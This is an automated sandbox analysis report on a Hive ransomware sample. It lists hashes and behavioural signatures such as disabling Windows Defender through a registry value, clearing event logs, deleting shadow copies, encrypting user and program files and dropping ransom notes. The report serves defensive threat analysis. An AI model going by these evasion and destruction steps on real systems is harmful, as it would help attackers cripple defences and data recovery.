Malware Analysis Report

2024-10-16 03:11

Sample ID 220112-va9qcsddbk
Target ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.7z
SHA256 70d9d2f6a9b6a6c881f24ea9779ff6c7282f3f486b545975b5dc2121d4eaeb50
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

70d9d2f6a9b6a6c881f24ea9779ff6c7282f3f486b545975b5dc2121d4eaeb50

Threat Level: Known bad

The file ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.7z was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies Windows Defender Real-time Protection settings

Hive

Deletes Windows Defender Definitions

Modifies security service

Clears Windows event logs

Deletes shadow copies

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Opens file in notepad (likely ransom note)

Runs net.exe

Runs ping.exe

Suspicious use of AdjustPrivilegeToken

Modifies registry class

Interacts with shadow copies

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 16:48

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 16:48

Reported

2022-01-12 16:48

Platform

win7-en-20211208

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 16:48

Reported

2022-01-12 16:53

Platform

win10-en-20211208

Max time kernel

236s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SysWOW64\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\RequestRename.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_pwqU9DCUbt40.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Users\Admin\Pictures\BlockExport.crw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_jA0CasY4qwE0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File renamed C:\Users\Admin\Pictures\CheckpointFind.raw => C:\Users\Admin\Pictures\CheckpointFind.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_uTBSMQewiWk0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File renamed C:\Users\Admin\Pictures\CompressStep.raw => C:\Users\Admin\Pictures\CompressStep.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Ogm99aeHdMU0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File renamed C:\Users\Admin\Pictures\DisconnectAssert.tif => C:\Users\Admin\Pictures\DisconnectAssert.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NBezSEWsjtQ0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Users\Admin\Pictures\DisconnectAssert.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NBezSEWsjtQ0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File renamed C:\Users\Admin\Pictures\RequestRename.tif => C:\Users\Admin\Pictures\RequestRename.tif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_pwqU9DCUbt40.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File renamed C:\Users\Admin\Pictures\BlockExport.crw => C:\Users\Admin\Pictures\BlockExport.crw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_jA0CasY4qwE0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Users\Admin\Pictures\CheckpointFind.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_uTBSMQewiWk0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Users\Admin\Pictures\CompressStep.raw.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Ogm99aeHdMU0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Grace-ul-oob.xrm-ms.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_o8B0ae9T3Q00.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BOLDSTRI\BOLDSTRI.ELM.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_fGd2gMXIAKk0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Place\contrast-black\MedTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemeCreation\Edit.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\contrast-black\SmallLogo.scale-150_contrast-black.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-tw\ui-strings.js.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_EWlQNQroBm40.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\ar\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\pt-br.txt.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_lbt69iqdGaw0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe\Assets\Office\Group.scale-180.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-GoogleCloudCache-Light.scale-100.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_14mYjW7TQuA0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\id\msipc.dll.mui.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_zrsnk8MNWn80.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\WATER.ELM.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_Xs4oSRuKaJ00.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\Assets\BadgeLogo1.targetsize-54.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft Help\MS.EXCEL.16.1033.hxn.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_3Zr4OFKAa8s0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\Square150x150Logo.scale-100.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-64.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-40.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GamesXboxHubSplashScreen.scale-200_contrast-high.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\TextureBitmaps\pitissue.jpg C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_m-odGUePpzk0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\CHANGELOG.md C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ja-JP\FlickLearningWizard.exe.mui C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\InsiderHubSplashSquareTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\8080_20x20x32.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\Logo.scale-150.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-default_32.svg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_4LMcAibsjeU0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\bg_patterns_header.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_u3JoQYk2w-Y0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\it-it\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipschs.xml C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_mdYA42ZAqJs0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\Sybase.xsl.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_wy7UvY93FP40.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\placeholder.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_cW0v-vDd77E0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\WorldClockWideTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.StarClub\Assets\collection_grey.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_DJ-Efcpf0JM0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\large\movie.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Emoticons\small\mooning.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Home\WideTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_NauBMFWQ3dA0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\WinStore.winmd C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-24_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Windows Defender\en-US\MpEvMsg.dll.mui C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_pl.jar.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_e4wDte20X240.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Western\western_12d.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosStoreLogo.contrast-white.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\ui-strings.js.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_BGWQRAcnY-I0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\index_poster.jpg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_rzIvnpMoyuw0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_yk5Bdfi60rc0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\rtZ9_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_j7pq3SjDmRM0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\LiveTile\W3.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\jm_16x11.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_2016.719.1035.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-GoogleCloudCache-Dark.scale-140.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_es_135x40.svg.BFccN_GoLuZpoToSYnkTpqF1A_hhas9h0MJGbh6LyMz_4E4UgOyxYsg0.xetvm C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\DarkBlue.png C:\Users\Admin\AppData\Local\Temp\ec9ef903c4d23e4f10117a2c24d87d6d4bc47dc056db0d0b9178bf4e4ed30cef.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\vssadmin.exe N/A

Modifies registry class

Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP C:\Windows\SysWOW64\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP C:\Windows\SysWOW64\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP C:\Windows\SysWOW64\reg.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
